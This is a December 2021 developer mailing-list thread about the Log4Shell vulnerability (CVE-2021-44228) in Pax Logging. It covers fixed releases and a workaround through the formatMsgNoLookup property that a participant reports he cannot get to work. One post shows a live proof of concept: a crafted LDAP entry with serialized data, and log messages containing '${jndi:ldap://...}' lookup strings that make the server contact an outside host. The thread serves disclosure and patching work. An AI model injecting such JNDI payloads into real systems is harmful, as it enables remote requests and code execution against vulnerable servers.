Hi all,
We are using pax logging 2.0.9, but I can see it exports log4j2 packages
for different versions: 2.9.1, 2.13.3 & 2.14.1
Since one of those versions is not higher than 2.10, it's not clear to me
if the system property log4j.formatMsgNoLookup will fix the issue for our
application. Anyone knows ?
Kind regards,
Steven
On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <e...@zusammenkunft.net>
wrote:
> I am currently working on a description for a work around (specifying the
> system property) but I can’t get it to work.
>
> It still expands ${java:version}. I checked that it shows with
> “system:property log4j.formatMsgNoLookup” true and there seems to be no
> %m{lookup} setting.
>
> I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> version newer than 2.10).
>
> Any idea?
>
> Is it possible that the shaded pax-logging-log4j does not honor the system
> property of log4j?
>
>
> --
> https://bernd.eckenfels.net
> ________________________________
> From: Grzegorz Grzybek <gr.grzy...@gmail.com>
> Sent: Friday, December 10, 2021 1:43:00 PM
> To: dev@karaf.apache.org <dev@karaf.apache.org>
> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
>
> Hello
>
> Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it
> in
> details.
>
> I was a bit surprised too - I knew about e.g., `${java:version}` if you
> used it in pattern layout configuration - I didn't expect Log4j2 to
> interpolate the messages passed to log() methods as well!
>
> But you can try (in Karaf):
>
> karaf@root()> log:log 'xxx ${java:version} xxx'
>
> And you'll see (in the logs):
>
> 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx
> Java version 1.8.0_312 xxx
>
> so a message has been interpolated.
>
> What's worse, I could add an entry to my OpenLDAP with:
>
> javaClassName: java.lang.String
> javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
>
> And then:
>
> karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest
> }'
>
> gave me this in logs:
>
> 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> http://localhost/attack
>
> "http://localhost/attack"; is the deserialized value from
> "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
>
> While you can't use "javaCodeBase" LDAP attribute to point to malicius URL
> code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> property that defaults to "false" since 2009), you still have a remote
> request being performed when logging messages with ${jndi:ldap://
> example.com
> }.
>
> regards
> Grzegorz Grzybek
>
> pt., 10 gru 2021 o 13:28 Bernd Eckenfels <e...@zusammenkunft.net>
> napisał(a):
>
> > Hello Grzegorz,
> >
> > Thanks a lot for the super quick reaction.
> >
> > I was rather confused to see that log messages can trigger a JNDI lookup
> > anyway. Do you think there should be hardened something here?
> >
> > Do you know if that is triggered by malicious log config or by malicious
> > log messages and does it only affect systems where the JMSAppender is
> > actually used?
> >
> > Gruss
> > Bernd
> >
> >
> > --
> > http://bernd.eckenfels.net
> > ________________________________
> > Von: Grzegorz Grzybek <gr.grzy...@gmail.com>
> > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > An: ops4j-announcem...@googlegroups.com <
> > ops4j-announcem...@googlegroups.com>; Karaf Dev <dev@karaf.apache.org>;
> > d...@felix.apache.org <d...@felix.apache.org>
> > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released
> >
> > Hello
> >
> > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> fix.
> >
> > *Log4j2 has been updated to version 2.15.0.*
> >
> > The changelog is available at GitHub:
> > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> >
> > kind regards
> > Grzegorz Grzybek
> >
>
